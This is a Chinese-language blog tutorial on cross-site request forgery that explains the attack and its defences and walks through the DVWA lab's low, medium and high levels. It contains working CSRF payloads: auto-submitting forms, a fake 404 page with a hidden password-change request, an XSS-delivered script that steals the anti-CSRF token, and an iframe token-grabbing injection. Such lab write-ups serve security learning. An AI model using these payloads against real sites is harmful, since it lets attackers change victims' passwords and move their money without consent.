csrf漏洞浅谈
2020-11-19 10:29:48 Author: xz.aliyun.com(查看原文) 阅读量:232 收藏

@TOC

菜狗本人的手终于伸向了csrf漏洞攻击记录一下

什么是csrf

csrf全称Cross Site Request Forgery,翻译过来就是跨站域请求伪造。是一种网络攻击手段。与xss不同,xss是利用受信任的用户,而csrf则是伪装成受信任用户。而csrf不太流行,所以一般认为xss比csrf更加具有危险性。

csrf怎样实现

用csrf可以做什么?在菜鸡我的看法就是攻击者利用被攻击者发送受站点信任的请求,从而达到自身的某些目的。

举个例子

假如张三在某银行存了一笔钱,某一天张三在该行的官网进行转账。假设官网ip为http://csrfxj.com/zhuanzhang.php?name=ww&money=1000,而官网存在csrf漏洞,且是get请求方式,此时服务器收到请求后验证cookie等,确认是本人操作,所以会进行回复,操作成功。而如果李四想要从此处进行攻击,就会构造一个payload:http://csrfxj.com/zhuanzhang.php?name=ls&money=100000,然后此时张三刚刚在官网进行了操作,cookie等还未过期,在李四的诱骗下点击了这个链接,后台服务器会再次响应,认为是本人操作,再次进行操作,这时就会发生,转账人张三,收钱人李四,金额100000。然后张三就会在不知情的时候进行了一笔稀里糊涂的转账。

csrf漏洞攻击原理

我本来一直认为就是利用上述方式进行攻击,但是在看了大佬博客之后才知道csrf攻击分为两种方式

一、狭义的csrf攻击:指在攻击者已经将代码植入受害用户的浏览器访问的页面的前提下,以“受害用户”的身份向服务端发起一个伪造的http请求,从而实现服务器CURD来执行读写操作。
二、广义的csrf攻击:攻击者将一个http接口中需要传递的所有参数都预测出来,然后不管以什么方式,都可以来任意调用你的接口,对服务器实现CURD

csrf攻击产生条件

一、被攻击者在登陆了web网页,并且在本地生成了cookie
二、在cookie未过期的情况下,登登录了攻击者的页面,利用同一个浏览器。

csrf攻击一般分为GET型和POST型。
这里利用必火团队的靶场和本地搭建的DVWA靶场进行实验。

GET型方式


发现转账页面,正常转账会发现账户正常减少财产。当点击了下方提供的攻击者页面时,
发现提示账户钱少了,回去查看,发现少了1000。查看攻击页面源码发现
其中的<image src >属性标签里的链接,和正常转账是一样的,只是名字钱财不同。这是一种实现的方式。
在上面的例子中是直接构造的payload,隐蔽性太低,正常人一眼就能看出来不正常,所以一般会进行IP的隐藏
这里介绍几种常用的IP隐藏方式:

一、利用a标签
二、利用HTML的src实现,在页面中不会进行显示
三、利用background属性里的url功能链接

POST方式

<form name="csrf" action="http://edu.xss.tv/payload/xss/csrf2.php" method="post">
    <input type="hidden" name="name" value="zhangsan520">
    <input type="hidden" name="money" value="1000">
</form>
<script type="text/javascript">document.csrf.submit();</script>
<a href="http://edu.xss.tv/user.php">返回用户管理</a>

post方式一般是利用一个可以自动提交的表单进行攻击,当用户进入指定页面后会进行自动提交。达到目的。所以危害性没get方式高。

那么如何检测页面是否存在csrf漏洞呢?这里用的是brupsuit进行检测。
在浏览器里进行抓包,bp有一个CSRF POC功能,自动生成攻击页面,在里面修改参数,提交之后发现是否有变化,若有则存在反之没有。

CSRF的防御可以从两个方面考虑,一个是后台接口层做防御;另一个则是在前端做防御,这种不同源的请求,不可以带cookie。

前端防御

谷歌提出了same-site cookies概念,same-site cookies 是基于 Chrome 和 Mozilla 开发者花了三年多时间制定的 IETF 标准。它是在原有的Cookie中,新添加了一个SameSite属性,它标识着在非同源的请求中,是否可以带上Cookie,它可以设置为3个值,分别为:Strict、Lax、None
Strict是最严格的,它完全禁止在跨站情况下,发送Cookie。只有在自己的网站内部发送请求,才会带上Cookie。不过这个规则过于严格,会影响用户的体验。比如在一个网站中有一个链接,这个链接连接到了GitHub上,由于SameSite设置为Strict,跳转到GitHub后,GitHub总是未登录状态。
Lax的规则稍稍放宽了些,大部分跨站的请求也不会带上Cookie,但是一些导航的Get请求会带上Cookie,如下:

None就是关闭SameSite属性,所有的情况下都发送Cookie。不过SameSite设置None,还要同时设置Cookie的Secure属性,否则是不生效的。

以上引用来自云栖社区一篇很详细的博客 如有侵权,联系删除。
因为我懒,所以就不自己总结了(坚持白嫖)。

后端防御

第一种,CSRF Token的方式。这种方式是在表单页面生成一个随机数,这个随机数一定要后端生成,并且对这个随机数进行存储。
通过请求头中的referer字段判断请求的来源。每一个发送给后端的请求,在请求头中都会包含一个referer字段,这个字段标识着请求的来源。如果请求是从银行网站发出的,这个字段会是银行网站转账页的链接,比如:https://www.a-bank.com/transfer-view;如果是从恶意网站发出的,那么referer字段一定不会是银行网站

low难度

所谓low难度就是明显的没有难度。
拿到手之后直接url修改参数就实现了。

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        $html .= "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        $html .= "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

查看low难度的源码,首先进行判断两个新密码输入的值是否一样,若一样调用mysql_real_escape_string()函数来进行对字符串的过滤操作,然后调用MD5对new_password进行加密,保存到数据库中。mysql_real_escape_string()函数由于对字符串进行了过滤操作,所以有效的防止了sql注入操作,但是并没有对于csrf进行防御操作。因此可以进行csrf攻击。
正常的修改密码payload:http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#
直接对payload进行修改:http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=root&password_conf=root&Change=Change#
在上述操作中,密码就会由修改的password变为root。
但是这样子用户一眼就能知道自己的密码被修改了,而且这个链接一般人肯定不会随便点的。所以接下来据要进行对这个链接的格式修改。

使用短链接进行格式修改


地址在这

构造攻击页面

在实际攻击中,攻击者可以利用自己构造的一个虚假页面让被攻击者点击来实现攻击操作。

<!DOCTYPE html>
<html>
<head>
    <title>404</title>
</head>
<body>
<h1>Not Found</h1>
<image src="http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=root&password_conf=root&Change=Change#" />
<p>The requested URL was not found on this server.</p>
</body>
</html>

当被攻击者访问这个页面时,会出现假的404错误,被攻击者会认为自己进入了一个无效的网站,但实际上攻击已经产生了。

medium难度

首先查看源码,发现比low多了一个判断

if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

也就是说,Medium级的代码检查了保留变量 HTTP_REFERER(http包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAME这一个方法来抵御csrf攻击,但是这种方式只需要将刚才那个页面名字修改为本地IP地址就可。

这里看到预期修改为password,点击页面后,回到原来页面,测试发现密码修改成功。

high难度

查看源码
发现比起medium多了一个

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

很明显high级的难度在防御机制中加入了token元素。即用户每次访问改密页面时,服务器会返回一个随机的token。向服务器发起请求时,需要提交token参数。而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。
看了大佬博客之后发现可以构造一个攻击页面,将其放置在攻击者的服务器,引诱受害者访问,从而完成 CSRF 攻击。

alert(document.cookie);
var theUrl = 'http://127.0.0.1/DVWA/vulnerabilities/csrf/';
    if(window.XMLHttpRequest) {
        xmlhttp = new XMLHttpRequest();
    }else{
        xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
    }
var count = 0;
    xmlhttp.withCredentials = true;
    xmlhttp.onreadystatechange=function(){
        if(xmlhttp.readyState ==4 && xmlhttp.status==200)
        {
            var text = xmlhttp.responseText;
            var regex = /user_token\' value\=\'(.*?)\' \/\>/;
            var match = text.match(regex);
            console.log(match);
            alert(match[1]);
                var token = match[1];
                    var new_url = 'http://127.0.0.1/DVWA/vulnerabilities/csrf/?user_token='+token+'&password_new=password&password_conf=password&Change=Change';
                    if(count==0){
                        count++;
                        xmlhttp.open("GET",new_url,false);
                        xmlhttp.send();
                    }


        }
    };
    xmlhttp.open("GET",theUrl,false);
    xmlhttp.send();

将其放在攻击者的网络上,我由于是本地实验,所以放在了http://127.0.0.1/xss.js,然后心细的人发现了,这个应该是xss攻击吧?没错,看大佬博客使用的就是xss和csrf相结合的方法实现攻击的。
然后构造payload:http://127.0.0.1/DVWA/vulnerabilities/xss_d/?default=English #<script src="http://www.127.0.0.1.com/xss.js"></script>

然后诱导被攻击者点击这个链接实现攻击操作。
但是自身实践出现错误,百度发现,现在的浏览器不允许跨域访问,所以求教了大师傅之后,发现了另一个方法,bp抓包,修改参数。看了团队内的大佬博客之后,知道可以利用<iframe src="../csrf" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>来实现token获取。
在DVWA的xss页面,进行抓包
修改参数

之后进行放包。得到浏览器页面

在这里修改密码

然后构造一个自动点击的页面

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
    <form method="GET" action="http://127.0.0.1/dvwa/vulnerabilities/csrf">
        <input type="hidden" name="password_new" value="password">
        <input type="hidden" name="password_conf" value="password">
        <input type='hidden' name='user_token' value="8c662c2b09db59c12c190ffd8ec23a00">
        <input type="hidden" name="Change" value="Change" id="onlick">
    </form>
</body>
<script type="text/javascript">
    document.getElementById("onclick").click();
</script>
</html>

然后诱导用户点击,
修改成功。

对于impossible难度暂时没有打算尝试,毕竟high难度还有点一知半解,等后期更加深入了解了之后再回来补充。


文章来源: http://xz.aliyun.com/t/8514
如有侵权请联系:admin#unsafe.sh